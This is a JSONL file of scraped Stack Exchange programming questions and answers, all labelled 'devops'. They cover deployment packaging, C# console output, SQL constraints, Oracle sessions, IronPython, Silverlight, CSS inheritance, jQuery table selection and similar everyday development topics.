"intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.033018"}
{"id": "hf_8dba25a0260d", "question": "<p>I've got a number of batch processes that run behind the scenes for a Linux/PHP website. They are starting to grow in number and complexity, so I want to bring a small amount of process to bear on them.</p>\n\n<p>My source tree has a bunch of cpp files and scripts, organized with development but not deployment in mind. After compiling all the executables, I need to put various scripts and binaries on a cluster of machines. Different machines need different executables, scripts, and config files for their batch processes. I also have a few of tools that I've written that belong on every machine. At the moment, this deployment process is manual and error prone.</p>\n\n<p>I'm guessing I'm just going to end up with a script that runs at the root of the source tree and builds a smaller tree of everything necessary for any of the machines. Then, I'll just rsync that to the appropriate machines. But I'm curious how other people are managing this type of problem. Any ideas?</p>\n", "question_body": "", "answer": "Create your own packages in the format your distribution uses, e.g. Debian packages (.deb).  These can either be copied to each machine and installed manually, or you can set up your own repository, and add it to your list of sources.\nYour packages should be set up so that the scripts they contain consult a configuration file, which is different on each host, depending on what scripts need to be run on each.\nTo tie it all together, you can create a meta package that just depends on each of the other packages you create.  That way, when you set up a new server, you install that one meta package, and the other packages are brought in as dependencies.\nAlthough this process sounds a bit complicated, if you have many scripts and many hosts to deploy them to, it can really pay off in the long run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.056149"}
{"id": "hf_7a0794192606", "question": "<p>What is the best way to write data to the text console at arbitrary locations on the screen and with custom fore/background colors?</p>\n", "question_body": "", "answer": "Console.SetCursorPosition, Console.BackgroundColor, Console.ForegroundColor, and Console.ResetColor.\nNote these were added to the .NET Framework in version 2.0. Prior to that you would have needed PInvoke.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.081299"}
{"id": "hf_89c9c478c1f6", "question": "<p>How would I print a spinning curser in a utility that runs in a terminal using standard C?</p>\n\n<p>I'm looking for something that prints: \\ | / - over and over in the same position on the screen?</p>\n\n<p>Thanks </p>\n", "question_body": "", "answer": "You could use the backspace character (\n```\n\\b\n```\n) like this:\n```\n```\nprintf(\"processing... |\");\nfflush(stdout);\n// do something\nprintf(\"\\b/\");\nfflush(stdout);\n// do some more\nprintf(\"\\b-\");\nfflush(stdout);\n```\n```\netc. You need the\n```\nfflush(stdout)\n```\nbecause normally stdout is buffered until you output a newline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.119036"}
{"id": "hf_4ad851c3c6df", "question": "<p>I have an application used by pretty tech-savey people and they want small island of programmability so I've used embedded Iron Python.</p>\n\n<p>However, since IronPython 2.0 Eval() doesn't work any more. Specifically I can't both load modules and inject local variables.</p>\n\n<p>There is a work around where I can still call Execute(), print out my answer and listen to StandardOut, but then it comes out as a string and I've lost the type.</p>\n\n<p>Not a disaster for a long, but a huge pain for more complex objects.</p>\n\n<p>Does anyone know how to get Eval() working again in 2.0 like it did in 1.x?</p>\n\n<p>Cheers,\nJan</p>\n", "question_body": "", "answer": "Could you be a little more specific about the problem, and maybe provide a code example?  The \"eval\"-style functionality is definitely still present, though as you've noticed, the hosting interface has changed considerably since 1.0.\nThis works in beta 5:\n```\n```\nScriptEngine engine = Python.CreateEngine();\nScriptSource source = engine.CreateScriptSourceFromString(\"2 + 5\", SourceCodeKind.Expression);\nint result = source.Execute<int>();\n```\n```\nBy the way, using the right\n```\nSourceCodeKind\n```\nis critical here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.176858"}
{"id": "hf_fb3a6ac14bb3", "question": "<p>I Have one entity [Project] that contains a collection of other entities [Questions].</p>\n<p>I have mapped the relation with a cascade attribute of &quot;all-delete-orphan&quot;.</p>\n<p>In my DB the relation is mapped with a project_id (FK) field on the questions table. this field cannot be null since I don't want a Question without a Project.</p>\n<p>When I do <code>session.delete(project)</code> it throws an exception saying that <code>project_id</code> cant be <code>null</code>, but if I remove the <code>not-null</code> constraint to that field, the deletion works nice.</p>\n<p>Anyone knows how to solve this?</p>\n", "question_body": "", "answer": "The delete is occurring on the Project first and cascading to the Question, but the Project delete includes a nulling of the project_id in the Questions (for referential integrity.  You're not getting an exception on the deletion of the Question object, but because the cascade is trying to null the FK in the Question(s).\nLooking at \"\nJava Persistence with Hibernate\n\", I think that what you really want a cascade type of delete or remove, not delete-orphans.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.265551"}
{"id": "hf_76ff6f985ab7", "question": "<p>Now that Silverlight 2.0 has been officially released I was wondering if anyone was using it for any line of business apps, for example POS, Vertical Market apps etc. If so how were your experiences compared to an old WinForms app or Web app?</p>\n", "question_body": "", "answer": "I think Silverlight is going to be huge for business applications. This is some bullet points highlighting strengths of Silverlight as a LOB platform inside the browser. It's something i wrote to help a colleague out who was comparing ASP.NET vs. Silverlight, but hopefully it includes some hints.\nExtra Silverlight Functionality\nYou can do off line caching of static data using Isolated Storage today - Just serialize your data to JSON or XML and save it locally.\nStronger tool support for UX - With jQuery you will be writing all the extra UX by hand. Don't know if this is a big deal, as jQuery is really  sleek.\nC# over JavaScript - Better debugging and developer experience.\nSupport for multiple threads, cross domain networking and sockets.\nSupport for local file access - Say you want to do a CSV-file import without having to roundtrip to the server. In Silverlight you can use the FileOpenDialog and read the file content locally.\nEasy portabiliy to WPF\nExtra Silverlight Controls\nFirst batch of out-of-band Silverlight controls will be available at the PDC, and include the following controls:\n  DockPanel, WrapPanel, ViewBox, Label, HeaderedContentControl, Expander, TreeView, NumericUpDown, AutoComplete, Accordion.\nScott Gu have hinted that over time Silverlight might get 100+ controls if you count the out-of-band controls released on CodePlex.\nRead more at\nhttp://blogs.msdn.com/sburke/archive/2008/09/17/control-freak.aspx\nWPF portability\nThere are some major differences. The non-UI code should be fairly simple to port to WPF.\nIf you don't get too creative with your styling most of the controls ports directly as well. One of the major differences is that Silverlight uses the VisualStateManager instead of Trigger for styling of controls. There is a community project available to add VSM support to WPF to make it easier to port applications. The VSM will be added to a future WPF release to make the two more in-pair.\nYou will be able to reuse ALOT of knowledge, design assets and code.\nI did a blog post about porting my Dive Log app (a small one, but highlights some of the issues) to WPF:\nhttp://jonas.follesoe.no/PortingTheSilverlightDiveLogApplicationToWPF.aspx\n(did it in a couple of hours).\nData Entry UX\nSilverlight will make it easier to implement more complex client-side validation rules, making your data entry forms more responsive with less round-back to the server. You can do this using AJAX, but it takes more effort.\nWith Silverlight you can get creative and enhance your data entry forms and add nice effects when enabling/disabling parts of your form based on selections earlier in the form.\nYou can create cool widgets for your data entry. Ref. the way you set the Air-In/Air-Out in the dive log application by changing the air level in a air tank, instead of just typing a value in a text box.\nVisualizations\nYou can do a lot of cool things with the jQuery animation API - but Silverlight makes it alot easier to do rich UI's with animations, nice scalable vector graphics etc. For plain ASP.NET you probably have more third-party controls/components to pick from, but for plain charting the Visifire charts are great.\nCopy/paste/select text\nI don't like that it's hard to make text selectable/copyable.\nThe out-of-box print experience in Silverlight is limiting as well. It will simply print what's on screen. I'm working on a blog post showing how to generate HTML behind the Silverlight component and use CSS for printing.\nSearch Engine Optimization\nGuess it depends on your customers requirement. If your data should be searchable you can get around it by having ASPX pages that render the data as HTML behind the Silverlight page when it's first loaded. So your site would be something like ShowCustomer.aspx?CustomerID=10 - Silverlight will show customer 10 in the form, and behind the Silverlight component there is HTML representing the same information. Then you would also provide a sitemap file so that Google knows how to index/find the content of your page. But it would be doable.\nIf your application is very \"application like\" it might not make sense as it's hard to create URL's to the different states of your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.311584"}
{"id": "hf_8728cbb8261f", "question": "<ul>\n<li>What is the main difference between <code>int.Parse()</code> and <code>Convert.ToInt32()</code>?</li>\n<li>Which one is to be preferred</li>\n</ul>\n", "question_body": "", "answer": "No difference as such.\n```\nConvert.ToInt32()\n```\ncalls\n```\nint.Parse()\n```\ninternally\nExcept for one thing\n```\nConvert.ToInt32()\n```\nreturns\n```\n0\n```\nwhen argument is\n```\nnull\n```\nOtherwise both work the same way", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.360402"}
{"id": "hf_842879bebfcb", "question": "<p>This is the constraint I have on the Customers table.</p>\n\n<pre><code>ALTER TABLE Customers\n    ADD CONSTRAINT CN_CustomerPhone\n    CHECK (Phone LIKE '([0-9][0-9][0-9]) [0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]')\n</code></pre>\n\n<p>Why does this fail?</p>\n\n<pre><code>INSERT INTO Customers\n(CustomerName, Address, City, State, Zip, Phone)\nVALUES\n('Some Name','An Address', 'City goes here', 'WI', 12345, '(800) 555-1212')\n</code></pre>\n\n<p>With this error message.</p>\n\n<blockquote>\n  <p>Msg 547, Level 16, State 0, Line 1 The\n  INSERT statement conflicted with the\n  CHECK constraint \"CN_CustomerPhoneNo\".\n  The conflict occurred in database\n  \"Accounting\", table \"dbo.Customers\",\n  column 'Phone'. The statement has been\n  terminated.</p>\n</blockquote>\n\n<p>I'm sure I'm missing something really simple, but I can't find it.</p>\n\n<p>I've tried simplifying the constraint to only 'Phone LIKE '[0-9]'' and inserting a single digit, but it still fails. WTF?</p>\n", "question_body": "", "answer": "Check the length of the Phone field.\nIs it 15 or more characters?\nUsing your code with a temp table here\n```\n```\ncreate table #temp\n(phone varchar(15))\n\nALTER TABLE #temp\n    ADD CONSTRAINT CN_CustomerPhone\n    CHECK (Phone LIKE '([0-9][0-9][0-9]) [0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]')\n\nINSERT INTO #temp\n(Phone)\nVALUES\n('(800) 555-1212')\n\nselect * from #temp\n\ndrop table #temp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.385655"}
{"id": "hf_00071b9e8f61", "question": "<p>I'm just getting started working with foreign keys for the first time and I'm wondering if there's a standard naming scheme to use for them?</p>\n\n<p>Given these tables:</p>\n\n<pre><code>task (id, userid, title)\nnote (id, taskid, userid, note);\nuser (id, name)\n</code></pre>\n\n<p>Where Tasks have Notes, Tasks are owned by Users, and Users author Notes.</p>\n\n<p>How would the three foreign keys be named in this situation? Or alternatively, <em>does it even matter at all</em>?</p>\n\n<p><em>Update</em>: This question is about foreign key names, not field names!</p>\n", "question_body": "", "answer": "How about\n```\nFK_TABLENAME_COLUMNNAME\n```\n?\nK\neep\nI\nt\nS\nimple\nS\ntupid whenever possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.434962"}
{"id": "hf_9b80ac834897", "question": "<p>Is it possible to show other processes in progress on an Oracle database?  Something like Sybases <code>sp_who</code></p>\n", "question_body": "", "answer": "After looking at sp_who, Oracle does not have that ability per se.  Oracle has at least 8 processes running which run the db. Like RMON etc.\nYou can ask the DB which queries are running as that just a table query.  Look at the V$ tables.\nQuick Example:\n```\n```\nSELECT sid,\n       opname,\n       sofar,\n       totalwork,\n       units,\n       elapsed_seconds,\n       time_remaining\nFROM v$session_longops\nWHERE sofar != totalwork;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.472097"}
{"id": "hf_93de018a2da6", "question": "<p><code>$0</code> is the variable for the top level Ruby program, but is there one for the current method?</p>\n", "question_body": "", "answer": "From\nhttp://snippets.dzone.com/posts/show/2785\n:\n```\n```\nmodule Kernel\nprivate\n    def this_method_name\n      caller[0] =~ /`([^']*)'/ and $1\n    end\nend\n\nclass Foo\n  def test_method\n    this_method_name\n  end\nend\n\nputs Foo.new.test_method    # => test_method\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.520143"}
{"id": "hf_d76aea6cde55", "question": "<p>I know how to program Console application with parameters, example : myProgram.exe param1 param2.</p>\n\n<p>My question is, how can I make my program works with |, example : echo \"word\" | myProgram.exe?</p>\n", "question_body": "", "answer": "You need to use\n```\nConsole.Read()\n```\nand\n```\nConsole.ReadLine()\n```\nas if you were reading user input. Pipes replace user input transparently. You can't use both easily (although I'm sure it's quite possible...).\nEdit:\nA simple\n```\ncat\n```\nstyle program:\n```\n```\nclass Program\n{\n    static void Main(string[] args)\n    {\n        string s;\n        while ((s = Console.ReadLine()) != null)\n        {\n            Console.WriteLine(s);\n        }\n\n    }\n}\n```\n```\nAnd when run, as expected, the output:\n```\nC:\\...\\ConsoleApplication1\\bin\\Debug>echo \"Foo bar baz\" | ConsoleApplication1.exe\n\"Foo bar baz\"\n\nC:\\...\\ConsoleApplication1\\bin\\Debug>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.544324"}
{"id": "hf_13f2fd39129d", "question": "<p>Newish to Oracle programming (from Sybase and MS SQL Server).  What is the \"Oracle way\" to avoid filling the trans log with large updates?</p>\n\n<p>In my specific case, I'm doing an update of potentially a very large number of rows.  Here's my approach:</p>\n\n<pre><code>UPDATE my_table\nSET a_col = null\nWHERE my_table_id IN \n(SELECT my_table_id FROM my_table WHERE some_col &lt; some_val and rownum &lt; 1000)\n</code></pre>\n\n<p>...where I execute this inside a loop until the updated row count is zero,</p>\n\n<p>Is this the best approach?</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "Any UPDATE is going to generate redo.  Realistically, a single UPDATE that updates all the rows is going to generate the smallest total amount of redo and run for the shortest period of time.\nAssuming you are updating the vast majority of the rows in the table, if there are any indexes that use A_COL, you may be better off disabling those indexes before the update and then doing a rebuild of those indexes with NOLOGGING specified after the massive UPDATE statement.  In addition, if there are any triggers or foreign keys that would need to be fired/ validated as a result of the update, getting rid of those temporarily might be helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.568317"}
{"id": "hf_4dc42ba43627", "question": "<p>I have been thinking about starting a side project at home to exercise my brain a bit.  <a href=\"http://en.wikipedia.org/wiki/Reversi\" rel=\"nofollow noreferrer\">Reversi</a> looks like a simply game, where mobility has a profound effect on game play.\nIt is at least a  step up from tic tac toe.  This would be a  single player against an AI of some sort.</p>\n\n<p>I am thinking to try this in C++ on a PC.</p>\n\n<p>What issues am I likely to run into?</p>\n\n<p>What graphics library would you recommend?</p>\n\n<p>What questions am I not smart enough to ask myself?</p>\n", "question_body": "", "answer": "Issues...\nWell, just be sure when writing the strategy part of the game, not to simply do the move that gives you the most pieces.  You must also give weight to board position.  For example, given the opportunity to place a piece in a board corner should take priority over any other move (besides winning the game) as that piece can never be turned back over.  And, placing a piece adjacent to a corner spot is just about the worst move you can ever make (if the corner space is open).\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.591663"}
{"id": "hf_d9511303558d", "question": "<p>I want to move a legacy Java web application (J2EE) to a scripting language - any scripting language - in order to improve programming efficiency.</p>\n\n<p>What is the easiest way to do this? Are there any automated tools that can convert the bulk of the business logic?</p>\n", "question_body": "", "answer": "Using an automated tool to \"port\" the web application will almost certainly guarantee that future programming efficiency will be minimised -- not improved.\nA good scripting language can help programming efficiency when used by good programmers who understand good coding practices in that language.  Automated tools are usually not designed to output code that is elegent or well-written, only code that works.\nYou'll only get an improvement in programming efficiency after you've put in the effort to re-implement the web app -- which, due to the time required for the reimplementation, may or may not result in an improvement overall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.615317"}
{"id": "hf_1944ea2f07f1", "question": "<p>So far I've figured out how to pass Unicode strings, bSTRs, to and from a Euphoria DLL using a Typelib. What I can't figure out, thus far, is how to create and pass back an array of BSTRs.</p>\n\n<p>The code I have thus far (along with <code>include</code>s for EuCOM itself and parts of Win32lib):</p>\n\n<pre><code>global function REALARR()\n  sequence seq\n  atom psa\n  atom var\n  seq = { \"cat\",\"cow\",\"wolverine\" }\n  psa = create_safearray( seq, VT_BSTR )\n  make_variant( var, VT_ARRAY + VT_BSTR, psa )\n  return var\nend function\n</code></pre>\n\n<p>Part of the typelib is:</p>\n\n<pre><code>  [\n     helpstring(\"get an array of strings\"), \n     entry(\"REALARR\")\n  ] \n  void __stdcall REALARR( [out,retval] VARIANT* res );\n</code></pre>\n\n<p>And the test code, in VB6 is:</p>\n\n<pre><code>...\nDim v() as String\nV = REALARR()\n...\n</code></pre>\n\n<p>So far all I've managed to get is an error '0' from the DLL. Any ideas? Anyone?</p>\n", "question_body": "", "answer": "I've been in touch with the Euphoria people via their\nforum\n, and have gotten this far. The routine is failing on the the make_variant line. I haven't figured it out any further than that and neither have they.\n```\n```\nglobal function REALARR() \n  atom psa \n  atom var \n  atom bounds_ptr \n  atom dim \n  atom bstr \n  object void \n\n  dim = 1 \n  bounds_ptr = allocate( 8 * dim ) -- now figure out which part is Extent and which is LBound \n  poke4( bounds_ptr, { 3, 0 } ) -- assuming Extent and LBound in that order \n\n  psa = c_func( SafeArrayCreate, { VT_BSTR, 1, bounds_ptr } ) \n\n  bstr = alloc_bstr( \"cat\" ) \n  poke4( bounds_ptr, 0 ) \n  void = c_func( SafeArrayPutElement, {psa, bounds_ptr, bstr}) \n  free_bstr( bstr ) \n\n  bstr = alloc_bstr( \"cow\" ) \n  poke4( bounds_ptr, 1 ) \n  void = c_func( SafeArrayPutElement, {psa, bounds_ptr, bstr}) \n  free_bstr( bstr ) \n\n  bstr = alloc_bstr( \"wolverine\" ) \n  poke4( bounds_ptr, 2 ) \n  void = c_func( SafeArrayPutElement, {psa, bounds_ptr, bstr}) \n  free_bstr( bstr ) \n\n  make_variant( var, VT_ARRAY + VT_BSTR, psa )  \n  return var \nend function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.749687"}
{"id": "hf_8d2cd8859dd8", "question": "<p>We have recently implemented Transparent Data Encryption in SQL Server 2008 for local databases on our developers laptops to keep them protected in the case a laptop is stolen or lost. This works fine. </p>\n\n<p>Now we are trying to figure out a way to have the certificate expire everyday, forcing an automated process (a script at logon maybe) to go out to a network path and grab a new certificate with an expiration for a day later. This would ensure that if something unforeseen happened, the data would not be usable the next day.</p>\n\n<p>I also looked into using a Cryptographic provider but there doesn't appear to be any \"providers\" out there. Maybe I'm wrong.</p>\n\n<p>I am open to suggestions. If there is a better way please let me know. Thanks!</p>\n", "question_body": "", "answer": "Short answer: No\nLong answer:  Once a message (piece of data) is encrypted, that same key will decrypt the same encrypted message, regardless of what time the decryption algorithm is applied.  If the key is changed every day, the data must be decrypted with the old key and re-encrypted with the new.  If this process doesn't occur (i.e. someone stops the piece of code that performs the re encryption from running), the old key will still work.  Even if you do create a cryptographic provider to check the date, someone else can create a new provider to perform the decryption without first checking the date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.774039"}
{"id": "hf_725184d027f3", "question": "<p>Is there a .NET Framework compiler for the Ruby language? I've heard of the DLR (Dynamic Language Runtime), is this going to enable Ruby to be used with .NET development?</p>\n", "question_body": "", "answer": "Yep, the Ruby.NET project\n.  Note, it hasn't been updated since November 2007, so I'm not sure what the support's like now.\nEdit: As others have pointed out, IronRuby is supported by Microsoft, so it's probably a better idea", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.869201"}
{"id": "hf_0b0ba2a1a8b0", "question": "<p>I'm looking for a generic \"Row Picker\" for JQuery.</p>\n\n<p>We've all seen the cool \"Picker\" tools like date pickers, color pickers, time pickers, etc, where you click in a text box and a little calendar or color palate or clock or something comes up.  You select something (like a date) and the text box is then populated with a value.</p>\n\n<p>I really need an all-purpose \"row picker\" where you can populate something (a table, divs, etc) with some rows of data (say a list of timezones).  This would be linked to a text field and would pop up when the user clicks in the field.</p>\n\n<p>They would click a row (say a timezone), and the timezone id would be passed back to the field.</p>\n\n<p>Anyone know of anything that does this?  </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I don't know about totally generic though you can certainly achieve a row selector fairly easily in jQuery.\n```\n```\n<script type=\"text/javascript\"> $(function() {\n        $('table#data_table tr').click(function() {\n              alert($(this).find('td.id').html());\n          }); }); \n</script>\n\n<table border=\"0\" id=\"data_table\">\n<tr>\n<td class=\"id\">45</td><td>GMT</td>\n</tr>\n<tr>\n<td class=\"id\">47</td><td>CST</td>\n</tr>\n</table>\n```\n```\nThis adds a click to each row, finds the tagged id within the row which would then allow you to do something with it.  Obviously you would need to target this to your data table and filter based on the contents.  JQuery can then be used to populate the result of the click into the target field.  You can then come up with some convention where all your data tables work the same which would allow you to generalise this into a generic picker for your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.906352"}
{"id": "hf_55539568265a", "question": "<p>I have only a basic knowledge of css, is it possible to inherit a property from one style into another style. So for instance I could inherit the font size specified in my default paragrah tag settings into my hyperlink tags.</p>\n\n<p>The reason I want to do this is to make it easier to maintain multiple styles.</p>\n", "question_body": "", "answer": "You can define common styles for two elements at once like so:\n```\n```\np, a {\n    font-size: 1em;\n}\n```\n```\nAnd then extend each one with their individual properties as you want:\n```\n```\np {\n   color: red;\n}\n\na {\n   font-weight: bold;\n}\n```\n```\nKeep in mind:\nStyles defined later in a style sheet generally override properties defined earlier.\nExtra:\nIf you haven't already, I recommend getting the\nFirebug\nFirefox extension so you can see what styles the elements on your page are receiving and where they are inherited from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:42.995719"}
{"id": "hf_2cf58d3f65c6", "question": "<p>I found a wonderful open source Java program that I'm translating into C#. The built-in translator in Visual Studio got me started and I've now spent about a month translating the rest manually line by line. I've completed over 15,000 lines of translation and the only thing that remains is trying to figure out how to convert their MemoryImageSource stuff into C#/.NET.</p>\n\n<p>What's the .NET equivalent way of implementing this stuff? Is there a native .NET library already?</p>\n", "question_body": "", "answer": "The standard .NET\n```\nSystem.Drawing.\n```\n```\nBitmap\n```\nclass in the\n```\nSystem.Drawing.dll\n```\nassembly comes close to what I know of the\n```\nMemoryImageSource\n```\n(i.e., an image represented as an array of pixels that you can manipulate).\nFor better performance, you can use the\n```\nImageTraverser\n```\nclass from CodeProject, which accessses the array through unmanaged pointers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.041875"}
{"id": "hf_91aa124211a1", "question": "<p>I have a swf that is run from C:/ in the browser instead of a server (long story) and that swf loads a video that it located at ../../videos/video in relation to that swf.</p>\n\n<p>Problem is, When I run it in Flex, everything is cool.  Running locally, it can't find the file (not a security error) and is throwing a connectionError.  </p>\n\n<p>Any ideas? </p>\n\n<p>NOTE: This seems to be a Windows specific problem, it's running on my mac with the same security settings just fine.</p>\n", "question_body": "", "answer": "Flex Builder has a file that it adds all of your bin directories to in order to allow the debug player to get around the local security restrictions.\nHere's a\nblog post on the subject\n.\nEssentially Flexbuilder tells Flash that it should trust the bin folder... if you do a search on your development machine for the file flexbuilder_plugin.cfg, you should find it in a folder called FlashPlayerTrust in roughly the same area you normally find SharedObject files. If you open this file in a text editor, you should see pretty much every path to every bin folder for every flex project you have ever worked on. And suddenly everything gets so much clearer.\nYou can do as fenomas suggests and add any directory to your trusted list. You can also follow the advice from the above blog post.\nSo I created a new file and placed it next to this flexbuilder_plugin.cfg file, and called it MyProggy.cfg. Flash is configured to read in all files in this folder and parse all paths out of it, and any applications run from these paths will be considered \"localTrusted\" and will act as they would when run from Flexbuilder. Inside this text file I put one line: \"c:\\program files\\my proggy\" and saved it. I then had to restart Firefox for the change to take effect. I also had added a text label to my application and bound the text property to {Security.sandboxType}.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.100069"}
{"id": "hf_faa96eedc1fa", "question": "<p><sup><strong>Note:</strong> This question was asked at a time when C# did not yet support optional parameters (i.e. before C# 4).</sup></p>\n\n<p>We're building a web API that's programmatically generated from a C# class. The class has method <code>GetFooBar(int a, int b)</code> and the API has a method <code>GetFooBar</code> taking query params like <code>&amp;a=foo &amp;b=bar</code>. </p>\n\n<p>The classes needs to support optional parameters, which isn't supported in C# the language. What's the best approach?</p>\n", "question_body": "", "answer": "From this site:\nhttps://www.tek-tips.com/viewthread.cfm?qid=1500861\nC# does allow the use of the [Optional] attribute (from VB, though not functional in C#). So you can have a method like this:\n```\n```\nusing System.Runtime.InteropServices;\npublic void Foo(int a, int b, [Optional] int c)\n{\n  ...\n}\n```\n```\nIn our API wrapper, we detect optional parameters (ParameterInfo p.IsOptional) and set a default value. The goal is to mark parameters as optional without resorting to kludges like having \"optional\" in the parameter name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.141179"}
{"id": "hf_c6b5f29dad69", "question": "<p>I have come to see an Installer class item in Visual studio. Why they have maintain an seperate item for Installer. Do they create any custom installers ?</p>\n", "question_body": "", "answer": "The Installer class can be used to configure items such as performance counters and message queues as part of the installation of your code.  They can be included with any assembly and the most basic way to install components related to an assembly is to use InstallUtil yourassembly.dll which would contain your code and custom installers.  It is good practice to provide an uninstall option for anything added in this manner.\nSee here fore more information\nhttp://msdn.microsoft.com/en-us/library/z3xc61bs(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.178671"}
